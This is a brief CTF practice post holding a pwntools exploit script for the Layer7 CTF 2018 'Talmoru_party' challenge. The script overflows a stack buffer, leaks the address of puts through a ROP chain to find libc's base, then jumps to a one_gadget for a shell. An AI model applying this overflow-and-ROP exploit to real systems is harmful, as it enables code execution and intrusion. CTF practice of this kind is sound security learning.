System/Pwnable Practice

Layer7 CTF 2018 Talmoru_party!~

JeonYoungSin 2019. 8. 2. 23:46

exploit.py


from pwn import *


p = process("./vuln")

         

e = ELF("./vuln")

l = e.libc

        

p.sendlineafter(">>","3")

             

pr = 0x0804884b

restart = 0x80486E0


payload = "A"*(0x40+4)

payload += p32(e.plt['puts'])  

payload += p32(pr)

payload += p32(e.got['puts'])

payload += p32(restart)

    

p.sendlineafter("plz!\n",payload)

p.recvuntil("Good bye~~!\n")

puts_addr = u32(p.recv(4))

libc_base = puts_addr - l.symbols['puts']
one_gadget = [0x3d0d5,0x3d0d5,0x3d0d9,0x3d0e0,0x67a7f,0x67a80,0x137e5e,0x137e5f]
one_addr = libc_base + one_gadget[0]

payload2 = "A"*(0x40+4)
payload2 += p32(one_addr)
p.sendlineafter("plz",payload2)
p.interactive()